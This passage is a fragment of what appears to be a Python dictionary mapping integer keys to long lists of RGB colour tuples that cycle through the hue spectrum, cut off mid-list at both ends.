101), (187, 204, 101), (185, 204, 101), (182, 204, 101), (179, 204, 101), (177, 204, 101), (174, 204, 101), (172, 204, 101), (169, 204, 101), (166, 204, 101), (164, 204, 101), (161, 204, 101), (158, 204, 101), (156, 204, 101), (153, 204, 101), (151, 204, 101), (148, 204, 101), (145, 204, 101), (143, 204, 101), (140, 204, 101), (137, 204, 101), (135, 204, 101), (132, 204, 101), (130, 204, 101), (127, 204, 101), (124, 204, 101), (122, 204, 101), (119, 204, 101), (116, 204, 101), (114, 204, 101), (111, 204, 101), (109, 204, 101), (106, 204, 101), (103, 204, 101), (101, 204, 102), (101, 204, 105), (101, 204, 108), (101, 204, 110), (101, 204, 113), (101, 204, 116), (101, 204, 118), (101, 204, 121), (101, 204, 123), (101, 204, 126), (101, 204, 129), (101, 204, 131), (101, 204, 134), (101, 204, 137), (101, 204, 139), (101, 204, 142), (101, 204, 144), (101, 204, 147), (101, 204, 150), (101, 204, 152), (101, 204, 155), (101, 204, 158), (101, 204, 160), (101, 204, 163), (101, 204, 165), (101, 204, 168), (101, 204, 171), (101, 204, 173), (101, 204, 176), (101, 204, 179), (101, 204, 181), (101, 204, 184), (101, 204, 186), (101, 204, 189), (101, 204, 192), (101, 204, 194), (101, 204, 197), (101, 204, 200), (101, 204, 202), (101, 202, 204), (101, 200, 204), (101, 197, 204), (101, 194, 204), (101, 192, 204), (101, 189, 204), (101, 186, 204), (101, 184, 204), (101, 181, 204), (101, 179, 204), (101, 176, 204), (101, 173, 204), (101, 171, 204), (101, 168, 204), (101, 165, 204), (101, 163, 204), (101, 160, 204), (101, 158, 204), (101, 155, 204), (101, 152, 204), (101, 150, 204), (101, 147, 204), (101, 144, 204), (101, 142, 204), (101, 139, 204), (101, 137, 204), (101, 134, 204), (101, 131, 204), (101, 129, 204), (101, 126, 204), (101, 123, 204), (101, 121, 204), (101, 118, 204), (101, 116, 204), (101, 113, 204), (101, 110, 204), (101, 108, 204), (101, 105, 204), (101, 102, 204), (103, 101, 204), (106, 101, 204), (109, 101, 204), (111, 101, 204), (114, 101, 204), (116, 101, 204), (119, 101, 204), (122, 101, 204), (124, 101, 204), (127, 101, 204), (130, 101, 204), (132, 101, 204), (135, 101, 204), (137, 101, 204), (140, 101, 204), (143, 101, 204), (145, 101, 204), (148, 101, 204), (151, 101, 204), (153, 101, 204), (156, 101, 204), (158, 101, 204), (161, 101, 204), (164, 101, 204), (166, 101, 204), (169, 101, 204), (172, 101, 204), (174, 101, 204), (177, 101, 204), (179, 101, 204), (182, 101, 204), (185, 101, 204), (187, 101, 204), (190, 101, 204), (193, 101, 204), (195, 101, 204), (198, 101, 204), (200, 101, 204), (203, 101, 204), (204, 101, 201), (204, 101, 199), (204, 101, 196), (204, 101, 193), (204, 101, 191), (204, 101, 188), (204, 101, 186), (204, 101, 183), (204, 101, 180), (204, 101, 178), (204, 101, 175), (204, 101, 172), (204, 101, 170), (204, 101, 167), (204, 101, 165), (204, 101, 162), (204, 101, 159), (204, 101, 157), (204, 101, 154), (204, 101, 151), (204, 101, 149), (204, 101, 146), (204, 101, 144), (204, 101, 141), (204, 101, 138), (204, 101, 136), (204, 101, 133), (204, 101, 130), (204, 101, 128), (204, 101, 125), (204, 101, 123), (204, 101, 120), (204, 101, 117), (204, 101, 115), (204, 101, 112), (204, 101, 109), (204, 101, 107), (204, 101, 104)], 234: [(204, 101, 101), (204, 104, 101), (204, 107, 101), (204, 109, 101), (204, 112, 101), (204, 115, 101), (204, 117, 101), (204, 120, 101), (204, 122, 101), (204, 125, 101), (204, 128, 101), (204, 130, 101), (204, 133, 101), (204, 136, 101), (204, 138, 101), (204, 141, 101), (204, 143, 101), (204, 146, 101), (204, 149, 101), (204, 151, 101), (204, 154, 101), (204, 156, 101), (204, 159, 101), (204, 162, 101), (204, 164, 101), (204, 167, 101), (204, 170, 101), (204, 172, 101), (204, 175, 101), (204, 177, 101), (204, 180, 101), (204, 183, 101), (204, 185, 101), (204, 188, 101), (204, 190, 101), (204, 193, 101), (204, 196, 101), (204, 198, 101), (204, 201, 101), (204, 204, 101), (201, 204, 101), (198, 204, 101), (196, 204, 101), (193, 204, 101), (190, 204, 101), (188, 204, 101), (185, 204, 101), (183, 204, 101), (180, 204, 101), (177, 204, 101), (175, 204, 101), (172, 204, 101), (169, 204, 101), (167, 204, 101), (164, 204, 101), (162, 204, 101), (159, 204, 101), (156, 204, 101), (154, 204, 101), (151, 204, 101), (149, 204, 101), (146, 204, 101), (143, 204, 101), (141, 204, 101), (138, 204, 101), (136, 204, 101), (133, 204, 101), (130, 204, 101), (128, 204, 101), (125, 204, 101), (122, 204, 101), (120, 204, 101), (117, 204, 101), (115, 204, 101), (112, 204, 101), (109, 204, 101), (107, 204, 101), (104, 204, 101), (101, 204, 102), (101, 204, 104), (101, 204, 107), (101, 204, 109), (101, 204, 112), (101, 204, 115), (101, 204, 117), (101, 204, 120), (101, 204, 122), (101, 204, 125), (101, 204, 128), (101, 204, 130), (101, 204, 133), (101, 204, 135), (101, 204, 138), (101, 204, 141), (101, 204, 143), (101, 204, 146), (101, 204, 149), (101, 204, 151), (101, 204, 154), (101, 204, 156), (101, 204, 159), (101, 204, 162), (101, 204, 164), (101, 204, 167), (101, 204, 170), (101, 204, 172), (101, 204, 175), (101, 204, 177), (101, 204, 180), (101, 204, 183), (101, 204, 185), (101, 204, 188), (101, 204, 190), (101, 204, 193), (101, 204, 196), (101, 204, 198), (101, 204, 201), (101, 204, 204), (101, 201, 204), (101, 198, 204), (101, 196, 204), (101, 193, 204), (101, 190, 204), (101, 188, 204), (101, 185, 204), (101, 183, 204), (101, 180, 204), (101, 177, 204), (101, 175, 204), (101, 172, 204), (101, 169, 204), (101, 167, 204), (101, 164, 204), (101, 162, 204), (101, 159, 204), (101, 156, 204), (101, 154, 204), (101, 151, 204), (101, 149, 204), (101, 146, 204), (101, 143, 204), (101, 141, 204), (101, 138, 204), (101, 135, 204), (101, 133, 204), (101, 130, 204), (101, 128, 204), (101, 125, 204), (101, 122, 204), (101, 120, 204), (101, 117, 204), (101, 115, 204), (101, 112, 204), (101, 109, 204), (101, 107, 204), (101, 104, 204), (101, 101, 204), (104, 101, 204), (107, 101, 204), (109, 101, 204), (112, 101, 204), (115, 101, 204), (117, 101, 204), (120, 101, 204), (122, 101, 204), (125, 101, 204), (128, 101, 204), (130, 101, 204), (133, 101, 204), (136, 101, 204), (138, 101, 204), (141, 101, 204), (143, 101, 204), (146, 101, 204), (149, 101, 204), (151, 101, 204), (154, 101, 204), (156, 101, 204), (159, 101, 204), (162, 101, 204), (164, 101, 204), (167, 101, 204), (170, 101, 204), (172, 101, 204), (175, 101, 204), (177, 101, 204), (180, 101, 204), (183, 101, 204), (185, 101, 204), (188, 101, 204), (190, 101, 204), (193, 101, 204), (196, 101, 204), (198, 101, 204), (201, 101, 204), (204, 101, 203), (204, 101, 201), (204, 101, 198), (204, 101, 196), (204, 101, 193), (204, 101, 190), (204, 101, 188), (204, 101, 185), (204, 101, 183), (204, 101, 180), (204, 101, 177), (204, 101, 175), (204, 101, 172), (204, 101, 169), (204, 101, 167), (204, 101, 164), (204, 101, 162), (204, 101, 159), (204, 101, 156), (204, 101, 154), (204, 101, 151), (204, 101, 149), (204, 101, 146), (204, 101, 143), (204, 101, 141), (204, 101, 138), (204, 101, 135), (204, 101, 133), (204, 101, 130), (204, 101, 128), (204, 101, 125), (204, 101, 122), (204, 101, 120), (204, 101, 117), (204, 101, 115), (204, 101, 112), (204, 101, 109), (204, 101, 107), (204, 101, 104)], 235: [(204, 101, 101), (204, 104, 101), (204, 107, 101), (204, 109, 101), (204, 112, 101), (204, 115, 101), (204, 117, 101), (204, 120, 101), (204, 122, 101), (204, 125, 101), (204, 128, 101), (204, 130, 101), (204, 133, 101), (204, 135, 101), (204, 138, 101), (204, 141, 101), (204, 143, 101), (204, 146, 101), (204, 148, 101), (204, 151, 101), (204, 154, 101), (204, 156, 101), (204, 159, 101), (204, 161, 101), (204, 164, 101), (204, 167, 101), (204, 169, 101), (204, 172, 101), (204, 174, 101), (204, 177, 101), (204, 180, 101), (204, 182, 101), (204, 185, 101), (204, 187, 101), (204, 190, 101), (204, 193, 101), (204, 195, 101), (204, 198, 101), (204, 200, 101), (204, 203, 101), (201, 204, 101), (199, 204, 101), (196, 204, 101), (194, 204, 101), (191, 204, 101), (188, 204, 101), (186, 204, 101), (183, 204, 101), (180, 204, 101), (178, 204, 101), (175, 204, 101), (173, 204, 101), (170, 204, 101), (167, 204, 101), (165, 204, 101), (162, 204, 101), (160, 204, 101), (157, 204, 101), (154, 204, 101), (152, 204, 101), (149, 204, 101), (147, 204, 101), (144, 204, 101), (141, 204, 101), (139, 204, 101), (136, 204, 101), (134, 204, 101), (131, 204, 101), (128, 204, 101), (126, 204, 101), (123, 204, 101), (121, 204, 101), (118, 204, 101), (115, 204, 101), (113, 204, 101), (110, 204, 101), (108, 204, 101), (105, 204, 101), (102, 204, 101), (101, 204, 103), (101, 204, 106), (101, 204, 108), (101, 204, 111), (101, 204, 114), (101, 204, 116), (101, 204, 119), (101, 204, 121), (101, 204, 124), (101, 204, 127), (101, 204, 129), (101, 204, 132), (101, 204, 134), (101, 204, 137), (101, 204, 140), (101, 204, 142), (101, 204, 145), (101, 204, 148), (101, 204, 150), (101, 204, 153), (101, 204, 155), (101, 204, 158), (101, 204, 161), (101, 204, 163), (101, 204, 166), (101, 204, 168), (101, 204, 171), (101, 204, 174), (101, 204, 176), (101, 204, 179), (101, 204, 181), (101, 204, 184), (101, 204, 187), (101, 204, 189), (101, 204, 192), (101, 204, 194), (101, 204, 197), (101, 204, 200), (101, 204, 202), (101, 202, 204), (101, 200, 204), (101, 197, 204), (101, 194, 204), (101, 192, 204), (101, 189, 204), (101, 187, 204), (101, 184, 204), (101, 181, 204), (101, 179, 204), (101, 176, 204), (101, 174, 204), (101, 171, 204), (101, 168, 204), (101, 166, 204), (101, 163, 204), (101, 161, 204), (101, 158, 204), (101, 155, 204), (101, 153, 204), (101, 150, 204), (101, 148, 204), (101, 145, 204), (101, 142, 204), (101, 140, 204), (101, 137, 204), (101, 134, 204), (101, 132, 204), (101, 129, 204), (101, 127, 204), (101, 124, 204), (101, 121, 204), (101, 119, 204), (101, 116, 204), (101, 114, 204), (101, 111, 204), (101, 108, 204), (101, 106, 204), (101, 103, 204), (102, 101, 204), (105, 101, 204), (108, 101, 204), (110, 101, 204), (113, 101, 204), (115, 101, 204), (118, 101, 204), (121, 101, 204), (123, 101, 204), (126, 101, 204), (128, 101, 204), (131, 101, 204), (134, 101, 204), (136, 101, 204), (139, 101, 204), (141, 101, 204), (144, 101, 204), (147, 101, 204), (149, 101, 204), (152, 101, 204), (154, 101, 204), (157, 101, 204), (160, 101, 204), (162, 101, 204), (165, 101, 204), (167, 101, 204), (170, 101, 204), (173, 101, 204), (175, 101, 204), (178, 101, 204), (180, 101, 204), (183, 101, 204), (186, 101, 204), (188, 101, 204), (191, 101, 204), (194, 101, 204), (196, 101, 204), (199, 101, 204), (201, 101, 204), (204, 101, 203), (204, 101, 200), (204, 101, 198), (204, 101, 195), (204, 101, 193), (204, 101, 190), (204, 101, 187), (204, 101, 185), (204, 101, 182), (204, 101, 180), (204, 101, 177), (204, 101, 174), (204, 101, 172), (204, 101, 169), (204, 101, 167), (204, 101, 164), (204, 101, 161), (204, 101, 159), (204, 101, 156), (204, 101, 154), (204, 101, 151), (204, 101, 148), (204, 101, 146), (204, 101, 143), (204, 101, 141), (204, 101, 138), (204, 101, 135), (204, 101, 133), (204, 101, 130), (204, 101, 128), (204, 101, 125), (204, 101, 122), (204, 101, 120), (204, 101, 117), (204, 101, 115), (204, 101, 112), (204, 101, 109), (204, 101, 107), (204, 101, 104)], 236: [(204, 101, 101), (204, 104, 101), (204, 107, 101), (204, 109, 101), (204, 112, 101), (204, 114, 101), (204, 117, 101), (204, 120, 101), (204, 122, 101), (204, 125, 101), (204, 127, 101), (204, 130, 101), (204, 133, 101), (204, 135, 101), (204, 138, 101), (204, 140, 101), (204, 143, 101), (204, 146, 101), (204, 148, 101), (204, 151, 101), (204, 153, 101), (204, 156, 101), (204, 159, 101), (204, 161, 101), (204, 164, 101), (204, 166, 101), (204, 169, 101), (204, 172, 101), (204, 174, 101), (204, 177, 101), (204, 179, 101), (204, 182, 101), (204, 184, 101), (204, 187, 101), (204, 190, 101), (204, 192, 101), (204, 195, 101), (204, 197, 101), (204, 200, 101), (204, 203, 101), (202, 204, 101), (199, 204, 101), (197, 204, 101), (194, 204, 101), (191, 204, 101), (189, 204, 101), (186, 204, 101), (184, 204, 101), (181, 204, 101), (178, 204, 101), (176, 204, 101), (173, 204, 101), (171, 204, 101), (168, 204, 101), (165, 204, 101), (163, 204, 101), (160, 204, 101), (158, 204, 101), (155, 204, 101), (153, 204, 101), (150, 204, 101), (147, 204, 101), (145, 204, 101), (142, 204, 101), (140, 204, 101), (137, 204, 101), (134, 204, 101), (132, 204, 101), (129, 204, 101), (127, 204, 101), (124, 204, 101), (121, 204, 101), (119, 204, 101), (116, 204, 101), (114, 204, 101), (111, 204, 101), (108, 204, 101), (106, 204, 101), (103, 204, 101), (101, 204, 102), (101, 204, 105), (101, 204, 108), (101, 204, 110), (101, 204, 113), (101, 204, 115), (101, 204, 118), (101, 204, 121), (101, 204, 123), (101, 204, 126), (101, 204, 128), (101, 204, 131), (101, 204, 133), (101, 204, 136), (101, 204, 139), (101, 204, 141), (101, 204, 144), (101, 204, 146), (101, 204, 149), (101, 204, 152), (101, 204, 154), (101, 204, 157), (101, 204, 159), (101, 204, 162), (101, 204, 165), (101, 204, 167), (101, 204, 170), (101, 204, 172), (101, 204, 175), (101, 204, 178), (101, 204, 180), (101, 204, 183), (101, 204, 185), (101, 204, 188), (101, 204, 191), (101, 204, 193), (101, 204, 196), (101, 204, 198), (101, 204, 201), (101, 204, 204), (101, 201, 204), (101, 198, 204), (101, 196, 204), (101, 193, 204), (101, 191, 204), (101, 188, 204), (101, 185, 204), (101, 183, 204), (101, 180, 204), (101, 178, 204), (101, 175, 204), (101, 172, 204), (101, 170, 204), (101, 167, 204), (101, 165, 204), (101, 162, 204), (101, 159, 204), (101, 157, 204), (101, 154, 204), (101, 152, 204), (101, 149, 204), (101, 146, 204), (101, 144, 204), (101, 141, 204), (101, 139, 204), (101, 136, 204), (101, 133, 204), (101, 131, 204), (101, 128, 204), (101, 126, 204), (101, 123, 204), (101, 121, 204), (101, 118, 204), (101, 115, 204), (101, 113, 204), (101, 110, 204), (101, 108, 204), (101, 105, 204), (101, 102, 204), (103, 101, 204), (106, 101, 204), (108, 101, 204), (111, 101, 204), (114, 101, 204), (116, 101, 204), (119, 101, 204), (121, 101, 204), (124, 101, 204), (127, 101, 204), (129, 101, 204), (132, 101, 204), (134, 101, 204), (137, 101, 204), (140, 101, 204), (142, 101, 204), (145, 101, 204), (147, 101, 204), (150, 101, 204), (152, 101, 204), (155, 101, 204), (158, 101, 204), (160, 101, 204), (163, 101, 204), (165, 101, 204), (168, 101, 204), (171, 101, 204), (173, 101, 204), (176, 101, 204), (178, 101, 204), (181, 101, 204), (184, 101, 204), (186, 101, 204), (189, 101, 204), (191, 101, 204), (194, 101, 204), (197, 101, 204), (199, 101, 204), (202, 101, 204), (204, 101, 203), (204, 101, 200), (204, 101, 197), (204, 101, 195), (204, 101, 192), (204, 101, 190), (204, 101, 187), (204, 101, 184), (204, 101, 182), (204, 101, 179), (204, 101, 177), (204, 101, 174), (204, 101, 172), (204, 101, 169), (204, 101, 166), (204, 101, 164), (204, 101, 161), (204, 101, 159), (204, 101, 156), (204, 101, 153), (204, 101, 151), (204, 101, 148), (204, 101, 146), (204, 101, 143), (204, 101, 140), (204, 101, 138), (204, 101, 135), (204, 101, 133), (204, 101, 130), (204, 101, 127), (204, 101, 125), (204, 101, 122), (204, 101, 120), (204, 101, 117), (204, 101, 114), (204, 101, 112), (204, 101, 109), (204, 101, 107), (204, 101, 104)], 237: [(204, 101, 101), (204, 104, 101), (204, 107, 101), (204, 109, 101), (204, 112, 101), (204, 114, 101), (204, 117, 101), (204, 120, 101), (204, 122, 101), (204, 125, 101), (204, 127, 101), (204, 130, 101), (204, 132, 101), (204, 135, 101), (204, 138, 101), (204, 140, 101), (204, 143, 101), (204, 145, 101), (204, 148, 101), (204, 151, 101), (204, 153, 101), (204, 156, 101), (204, 158, 101), (204, 161, 101), (204, 163, 101), (204, 166, 101), (204, 169, 101), (204, 171, 101), (204, 174, 101), (204, 176, 101), (204, 179, 101), (204, 182, 101), (204, 184, 101), (204, 187, 101), (204, 189, 101), (204, 192, 101), (204, 194, 101), (204, 197, 101), (204, 200, 101), (204, 202, 101), (202, 204, 101), (200, 204, 101), (197, 204, 101), (194, 204, 101), (192, 204, 101), (189, 204, 101), (187, 204, 101), (184, 204, 101), (182, 204, 101), (179, 204, 101), (176, 204, 101), (174, 204, 101), (171, 204, 101), (169, 204, 101), (166, 204, 101), (163, 204, 101), (161, 204, 101), (158, 204, 101), (156, 204, 101), (153, 204, 101), (151, 204, 101), (148, 204, 101), (145, 204, 101), (143, 204, 101), (140, 204, 101), (138, 204, 101), (135, 204, 101), (132, 204, 101), (130, 204, 101), (127, 204, 101), (125, 204, 101), (122, 204, 101), (120, 204, 101), (117, 204, 101), (114, 204, 101), (112, 204, 101), (109, 204, 101), (107, 204, 101), (104, 204, 101), (102, 204, 101), (101, 204, 104), (101, 204, 107), (101, 204, 109), (101, 204, 112), (101, 204, 114), (101, 204, 117), (101, 204, 120), (101, 204, 122), (101, 204, 125), (101, 204, 127), (101, 204, 130), (101, 204, 132), (101, 204, 135), (101, 204, 138), (101, 204, 140), (101, 204, 143), (101, 204, 145), (101, 204, 148), (101, 204, 151), (101, 204, 153), (101, 204, 156), (101, 204, 158), (101, 204, 161), (101, 204, 163), (101, 204, 166), (101, 204, 169), (101, 204, 171), (101, 204, 174), (101, 204, 176), (101, 204, 179), (101, 204, 182), (101, 204, 184), (101, 204, 187), (101, 204, 189), (101, 204, 192), (101, 204, 194), (101, 204, 197), (101, 204, 200), (101, 204, 202), (101, 202, 204), (101, 200, 204), (101, 197, 204), (101, 194, 204), (101, 192, 204), (101, 189, 204), (101, 187, 204), (101, 184, 204), (101, 182, 204), (101, 179, 204), (101, 176, 204), (101, 174, 204), (101, 171, 204), (101, 169, 204), (101, 166, 204), (101, 163, 204), (101, 161, 204), (101, 158, 204), (101, 156, 204), (101, 153, 204), (101, 151, 204), (101, 148, 204), (101, 145, 204), (101, 143, 204), (101, 140, 204), (101, 138, 204), (101, 135, 204), (101, 132, 204), (101, 130, 204), (101, 127, 204), (101, 125, 204), (101, 122, 204), (101, 120, 204), (101, 117, 204), (101, 114, 204), (101, 112, 204), (101, 109, 204), (101, 107, 204), (101, 104, 204), (101, 102, 204), (104, 101, 204), (107, 101, 204), (109, 101, 204), (112, 101, 204), (114, 101, 204), (117, 101, 204), (120, 101, 204), (122, 101, 204), (125, 101, 204), (127, 101, 204), (130, 101, 204), (132, 101, 204), (135, 101, 204), (138, 101, 204), (140, 101, 204), (143, 101, 204), (145, 101, 204), (148, 101, 204), (151, 101, 204), (153, 101, 204), (156, 101, 204), (158, 101, 204), (161, 101, 204), (163, 101, 204), (166, 101, 204), (169, 101, 204), (171, 101, 204), (174, 101, 204), (176, 101, 204), (179, 101, 204), (182, 101, 204), (184, 101, 204), (187, 101, 204), (189, 101, 204), (192, 101, 204), (194, 101, 204), (197, 101, 204), (200, 101, 204), (202, 101, 204), (204, 101, 202), (204, 101, 200), (204, 101, 197), (204, 101, 194), (204, 101, 192), (204, 101, 189), (204, 101, 187), (204, 101, 184), (204, 101, 182), (204, 101, 179), (204, 101, 176), (204, 101, 174), (204, 101, 171), (204, 101, 169), (204, 101, 166), (204, 101, 163), (204, 101, 161), (204, 101, 158), (204, 101, 156), (204, 101, 153), (204, 101, 151), (204, 101, 148), (204, 101, 145), (204, 101, 143), (204, 101, 140), (204, 101, 138), (204, 101, 135), (204, 101, 132), (204, 101, 130), (204, 101, 127), (204, 101, 125), (204, 101, 122), (204, 101, 120), (204, 101, 117), (204, 101, 114), (204, 101, 112), (204, 101, 109), (204, 101, 107), (204, 101, 104)], 238: [(204, 101, 101), (204, 104, 101), (204, 107, 101), (204, 109, 101), (204, 112, 101), (204, 114, 101), (204, 117, 101), (204, 119, 101), (204, 122, 101), (204, 125, 101), (204, 127, 101), (204, 130, 101), (204, 132, 101), (204, 135, 101), (204, 138, 101), (204, 140, 101), (204, 143, 101), (204, 145, 101), (204, 148, 101), (204, 150, 101), (204, 153, 101), (204, 155, 101), (204, 158, 101), (204, 161, 101), (204, 163, 101), (204, 166, 101), (204, 168, 101), (204, 171, 101), (204, 174, 101), (204, 176, 101), (204, 179, 101), (204, 181, 101), (204, 184, 101), (204, 186, 101), (204, 189, 101), (204, 191, 101), (204, 194, 101), (204, 197, 101), (204, 199, 101), (204, 202, 101), (203, 204, 101), (200, 204, 101), (198, 204, 101), (195, 204, 101), (192, 204, 101), (190, 204, 101), (187, 204, 101), (185, 204, 101), (182, 204, 101), (180, 204, 101), (177, 204, 101), (174, 204, 101), (172, 204, 101), (169, 204, 101), (167, 204, 101), (164, 204, 101), (162, 204, 101), (159, 204, 101), (156, 204, 101), (154, 204, 101), (151, 204, 101), (149, 204, 101), (146, 204, 101), (144, 204, 101), (141, 204, 101), (138, 204, 101), (136, 204, 101), (133, 204, 101), (131, 204, 101), (128, 204, 101), (125, 204, 101), (123, 204, 101), (120, 204, 101), (118, 204, 101), (115, 204, 101), (113, 204, 101), (110, 204, 101), (108, 204, 101), (105, 204, 101), (102, 204, 101), (101, 204, 103), (101, 204, 106), (101, 204, 108), (101, 204, 111), (101, 204, 114), (101, 204, 116), (101, 204, 119), (101, 204, 121), (101, 204, 124), (101, 204, 126), (101, 204, 129), (101, 204, 131), (101, 204, 134), (101, 204, 137), (101, 204, 139), (101, 204, 142), (101, 204, 144), (101, 204, 147), (101, 204, 149), (101, 204, 152), (101, 204, 155), (101, 204, 157), (101, 204, 160), (101, 204, 162), (101, 204, 165), (101, 204, 168), (101, 204, 170), (101, 204, 173), (101, 204, 175), (101, 204, 178), (101, 204, 180), (101, 204, 183), (101, 204, 186), (101, 204, 188), (101, 204, 191), (101, 204, 193), (101, 204, 196), (101, 204, 198), (101, 204, 201), (101, 204, 204), (101, 201, 204), (101, 198, 204), (101, 196, 204), (101, 193, 204), (101, 191, 204), (101, 188, 204), (101, 186, 204), (101, 183, 204), (101, 180, 204), (101, 178, 204), (101, 175, 204), (101, 173, 204), (101, 170, 204), (101, 167, 204), (101, 165, 204), (101, 162, 204), (101, 160, 204), (101, 157, 204), (101, 155, 204), (101, 152, 204), (101, 149, 204), (101, 147, 204), (101, 144, 204), (101, 142, 204), (101, 139, 204), (101, 137, 204), (101, 134, 204), (101, 131, 204), (101, 129, 204), (101, 126, 204), (101, 124, 204), (101, 121, 204), (101, 119, 204), (101, 116, 204), (101, 114, 204), (101, 111, 204), (101, 108, 204), (101, 106, 204), (101, 103, 204), (102, 101, 204), (105, 101, 204), (107, 101, 204), (110, 101, 204), (113, 101, 204), (115, 101, 204), (118, 101, 204), (120, 101, 204), (123, 101, 204), (125, 101, 204), (128, 101, 204), (131, 101, 204), (133, 101, 204), (136, 101, 204), (138, 101, 204), (141, 101, 204), (143, 101, 204), (146, 101, 204), (149, 101, 204), (151, 101, 204), (154, 101, 204), (156, 101, 204), (159, 101, 204), (161, 101, 204), (164, 101, 204), (167, 101, 204), (169, 101, 204), (172, 101, 204), (174, 101, 204), (177, 101, 204), (179, 101, 204), (182, 101, 204), (185, 101, 204), (187, 101, 204), (190, 101, 204), (192, 101, 204), (195, 101, 204), (197, 101, 204), (200, 101, 204), (203, 101, 204), (204, 101, 202), (204, 101, 199), (204, 101, 197), (204, 101, 194), (204, 101, 191), (204, 101, 189), (204, 101, 186), (204, 101, 184), (204, 101, 181), (204, 101, 179), (204, 101, 176), (204, 101, 173), (204, 101, 171), (204, 101, 168), (204, 101, 166), (204, 101, 163), (204, 101, 161), (204, 101, 158), (204, 101, 156), (204, 101, 153), (204, 101, 150), (204, 101, 148), (204, 101, 145), (204, 101, 143), (204, 101, 140), (204, 101, 137), (204, 101, 135), (204, 101, 132), (204, 101, 130), (204, 101, 127), (204, 101, 125), (204, 101, 122), (204, 101, 119), (204, 101, 117), (204, 101, 114), (204, 101, 112), (204, 101, 109), (204, 101, 107), (204, 101, 104)], 239: [(204, 101, 101), (204, 104, 101), (204, 107, 101), (204, 109, 101), (204, 112, 101), (204, 114, 101), (204, 117, 101), (204, 119, 101), (204, 122, 101), (204, 125, 101), (204, 127, 101), (204, 130, 101), (204, 132, 101), (204, 135, 101), (204, 137, 101), (204, 140, 101), (204, 142, 101), (204, 145, 101), (204, 148, 101), (204, 150, 101), (204, 153, 101), (204, 155, 101), (204, 158, 101), (204, 160, 101), (204, 163, 101), (204, 166, 101), (204, 168, 101), (204, 171, 101), (204, 173, 101), (204, 176, 101), (204, 178, 101), (204, 181, 101), (204, 183, 101), (204, 186, 101), (204, 189, 101), (204, 191, 101), (204, 194, 101), (204, 196, 101), (204, 199, 101), (204, 201, 101), (203, 204, 101), (201, 204, 101), (198, 204, 101), (195, 204, 101), (193, 204, 101), (190, 204, 101), (188, 204, 101), (185, 204, 101), (183, 204, 101), (180, 204, 101), (177, 204, 101), (175, 204, 101), (172, 204, 101), (170, 204, 101), (167, 204, 101), (165, 204, 101), (162, 204, 101), (160, 204, 101), (157, 204, 101), (154, 204, 101), (152, 204, 101), (149, 204, 101), (147, 204, 101), (144, 204, 101), (142, 204, 101), (139, 204, 101), (136, 204, 101), (134, 204, 101), (131, 204, 101), (129, 204, 101), (126, 204, 101), (124, 204, 101), (121, 204, 101), (119, 204, 101), (116, 204, 101), (113, 204, 101), (111, 204, 101), (108, 204, 101), (106, 204, 101), (103, 204, 101), (101, 204, 102), (101, 204, 105), (101, 204, 107), (101, 204, 110), (101, 204, 113), (101, 204, 115), (101, 204, 118), (101, 204, 120), (101, 204, 123), (101, 204, 125), (101, 204, 128), (101, 204, 131), (101, 204, 133), (101, 204, 136), (101, 204, 138), (101, 204, 141), (101, 204, 143), (101, 204, 146), (101, 204, 148), (101, 204, 151), (101, 204, 154), (101, 204, 156), (101, 204, 159), (101, 204, 161), (101, 204, 164), (101, 204, 166), (101, 204, 169), (101, 204, 171), (101, 204, 174), (101, 204, 177), (101, 204, 179), (101, 204, 182), (101, 204, 184), (101, 204, 187), (101, 204, 189), (101, 204, 192), (101, 204, 195), (101, 204, 197), (101, 204, 200), (101, 204, 202), (101, 202, 204), (101, 200, 204), (101, 197, 204), (101, 195, 204), (101, 192, 204), (101, 189, 204), (101, 187, 204), (101, 184, 204), (101, 182, 204), (101, 179, 204), (101, 177, 204), (101, 174, 204), (101, 171, 204), (101, 169, 204), (101, 166, 204), (101, 164, 204), (101, 161, 204), (101, 159, 204), (101, 156, 204), (101, 154, 204), (101, 151, 204), (101, 148, 204), (101, 146, 204), (101, 143, 204), (101, 141, 204), (101, 138, 204), (101, 136, 204), (101, 133, 204), (101, 131, 204), (101, 128, 204), (101, 125, 204), (101, 123, 204), (101, 120, 204), (101, 118, 204), (101, 115, 204), (101, 113, 204), (101, 110, 204), (101, 107, 204), (101, 105, 204), (101, 102, 204), (103, 101, 204), (106, 101, 204), (108, 101, 204), (111, 101, 204), (113, 101, 204), (116, 101, 204), (119, 101, 204), (121, 101, 204), (124, 101, 204), (126, 101, 204), (129, 101, 204), (131, 101, 204), (134, 101, 204), (136, 101, 204), (139, 101, 204), (142, 101, 204), (144, 101, 204), (147, 101, 204), (149, 101, 204), (152, 101, 204), (154, 101, 204), (157, 101, 204), (160, 101, 204), (162, 101, 204), (165, 101, 204), (167, 101, 204), (170, 101, 204), (172, 101, 204), (175, 101, 204), (177, 101, 204), (180, 101, 204), (183, 101, 204), (185, 101, 204), (188, 101, 204), (190, 101, 204), (193, 101, 204), (195, 101, 204), (198, 101, 204), (201, 101, 204), (203, 101, 204), (204, 101, 201), (204, 101, 199), (204, 101, 196), (204, 101, 194), (204, 101, 191), (204, 101, 189), (204, 101, 186), (204, 101, 183), (204, 101, 181), (204, 101, 178), (204, 101, 176), (204, 101, 173), (204, 101, 171), (204, 101, 168), (204, 101, 166), (204, 101, 163), (204, 101, 160), (204, 101, 158), (204, 101, 155), (204, 101, 153), (204, 101, 150), (204, 101, 148), (204, 101, 145), (204, 101, 142), (204, 101, 140), (204, 101, 137), (204, 101, 135), (204, 101, 132), (204, 101, 130), (204, 101, 127), (204, 101, 125), (204, 101, 122), (204, 101, 119), (204, 101, 117), (204, 101, 114), (204, 101, 112), (204, 101, 109), (204, 101, 107), (204, 101, 104)], 240: [(204, 101, 101), (204, 104, 101), (204, 107, 101), (204, 109, 101), (204, 112, 101), (204, 114, 101), (204, 117, 101), (204, 119, 101), (204, 122, 101), (204, 124, 101), (204, 127, 101), (204, 130, 101), (204, 132, 101), (204, 135, 101), (204, 137, 101), (204, 140, 101), (204, 142, 101), (204, 145, 101), (204, 147, 101), (204, 150, 101), (204, 152, 101), (204, 155, 101), (204, 158, 101), (204, 160, 101), (204, 163, 101), (204, 165, 101), (204, 168, 101), (204, 170, 101), (204, 173, 101), (204, 175, 101), (204, 178, 101), (204, 181, 101), (204, 183, 101), (204, 186, 101), (204, 188, 101), (204, 191, 101), (204, 193, 101), (204, 196, 101), (204, 198, 101), (204, 201, 101), (204, 204, 101), (201, 204, 101), (198, 204, 101), (196, 204, 101), (193, 204, 101), (191, 204, 101), (188, 204, 101), (186, 204, 101), (183, 204, 101), (181, 204, 101), (178, 204, 101), (175, 204, 101), (173, 204, 101), (170, 204, 101), (168, 204, 101), (165, 